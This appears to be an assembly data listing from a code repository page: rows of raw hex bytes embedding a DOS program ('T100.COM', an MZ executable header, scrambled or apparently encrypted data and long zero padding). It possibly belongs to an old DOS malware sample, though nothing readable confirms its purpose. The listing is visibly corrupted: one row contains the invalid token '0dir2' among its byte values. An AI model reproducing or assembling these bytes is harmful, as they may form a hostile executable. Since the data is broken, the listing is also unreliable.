db 6a,64,df,85,9b,42,33,3f,f9,43,3a,dc,2d,90,70,39,86,4b,35,8a
db 22,2c,a9,3b,51,27,ed,09,7f,5a,35,d6,23,5a,2d,d4,25,56,23,51
db 2a,cf,44,d8,8e,50,27,c9,d5,dc
db '+|MFKFI'
db dd,41,48,41,1e,98,1f,a7,12,32,95,1d,38,1a,26,e6,a8,6d,1f,a6
db 1a,1e,81,ee,b4,68,00,25,8c,3f,0d,75,0d,47,e4,f0,4f,20,89,38
db 0a,71,ee,f3,ef,0b,fc,0e,58,57,5e,cc,a3,a0,09,84,1c,ba,0b,7a
db f2,40,f5,78,e8,40,f7,7e,c6,42,f1,1d,4d,0b,88,f8,1d,13,f5,11
db bd,06,ca,ff,f0,8a,f2,14,39,fc,1b,f2,16,de,ef,94,e0,58,ea,e7
db 00,4a,10,d8,eb,e4,9f,e8,0d,5c,e5,5d,fc,52,c1,e6,2d,cf,27,eb
db 58,e4,e3,43,63,68,d5,68,fe,d3,ed,17,2a,78,96,13,df,88,1d,9e
db d5,f0,13,9c,d4,f6,11,9a,d3,f4,17,98,d6,dc,68,c3,cc,78,77,c9
db 7a,8e,76,fe,c8,0b,e8,b7,c5,2c,4e,31,f9,ca,c5,bd,c7,8b,73,80
db 0d,ef,2a,22,c9,17,b6,b0,57,c8,2d,3a,7d,f8,57,f9,41,f6,32,6d
db 00,0e,b3,0f,fa,03,8c,b9,7b,99,c4,bc,5b,dc,21,55,e5,46,8e,a3
db ac,d6,b8,ea,db,b2,92,a4,a8,d2,ba,98,ab,a4,df,8e,99,a8,a5,dd
db 86,43,e2,3f,14,e1,6c,8c,49,74,1c,29,94,19,52,a3,5e,62,31,14
db 77,92,27,d1,93,2d,96,9b,67,3e,7c,f2,69,3b,89,96,78,98,6a,75
db af,61,e1,84,64,fc,70,c1,66,0a,76,6c,9b,32,a3,48,ab,bf,85,9b
db 84,f8,8c,b2,90,9a,87,fd,83,66,5e,70,9c,2d,31,7b,f2,aa,c7,f1
db 7e,c4,65,ba,59,69,fa,4b,cc,7c,7a,0f,7f,f9,4b,cf,7e,7a,03,5b
db c4,32,bc,5c,d3,cc,7b,ed,ac,db,4e,61,fe,de,4e,6f,d7,66,68,96
db ce,e8,aa,d1,64,6b,e9,a9,e8,b8,ec,49,d4,66,8a,71,ee,a4,48,55
db 10,5a,d6,5f,16,58,5c,9f,d6,87,d2,73,10,5c,d0,55,10,52,56,91
db dd,4e,11,57,d9,48,ab,5a,db,52,af,44,ed,ec,45,ca,40,f2,47,c9
db 91,c8,88,76,91,cf,80,c0,97,c1,b6,c2,bd,c3,ac,a5,40,4e,41,4d
db a9
db 'XA3<2?1>0?78695'
db 03,1c,7d,38,37,3b,b9,f0,bd,e9,b6,fe,27,3e,60,0e,fb,6d,f8,c8
db 2c,9e,2d,20,96,21,63,ea,09,b6,b9,b5,ba,b4,bb,bb,b4,ba,b5,b9
db b6,b8,b7,bf,b0,be,b1,bd,b2,bc,b3,83,8c,82,1d,11,a6,12,38,15
db 18,1e,f8,14,1a,14,1b
db 'V]YGVEWQK'
db 10
db 'SP^@S@LJV'
db 0d
db '!4\KH[ZB@SF%[GG'
db 05
db 'Z_[K@CE<M'
db 02,eb,00,bc,00,01,b8,01,4c,cd,21,00,0d,0a
db 'UTL: the DOS batch f'
db 69,6c,cd,13,10,00,5a,14,80,00,e3,13,00,00,00,00,c4,35,c4,35
db fe,ff,01,00,00,00
db '\T100.COM'
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,01,00,20,00,06,13,49,9a,04
db 'T100 COM9'
db 19,00,00,00,00,00,00,00,20,49,9a,06,13,64,00,00,00,54,31,30
db '0.COM'
db 00,43,29,00,00,90,05,00,4d,5a,ef,01,17,00,04,00,20,00,c7,00
db ff,ff,e1,01,dd,0d,b6,7c,06,00,e1,01,1e,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,04,08,66,e7,17,73,0a,01,0d,52,bf
db 38,77,d8,5a,a6,65,55,f4,39,72,26,11,f0,76,cf,b1,e5,ee,9d,df
db 2e,0d,eb,60,53,6b,15,6b,15,70,00,05,00,00,00,00,00,23,40,05
db 00,df,0d,00,00,0f,08,32,08,00,00,d7,35,d7,35,00,44,5b,24,00
db 00,55,00,d7,35,0dir2,62,03,ba,08,00,00,ba,08,39,00,00,00,0c
db 03,cc,04,ba,08,01,00,60,07,00,00
File diff suppressed because it is too large Load Diff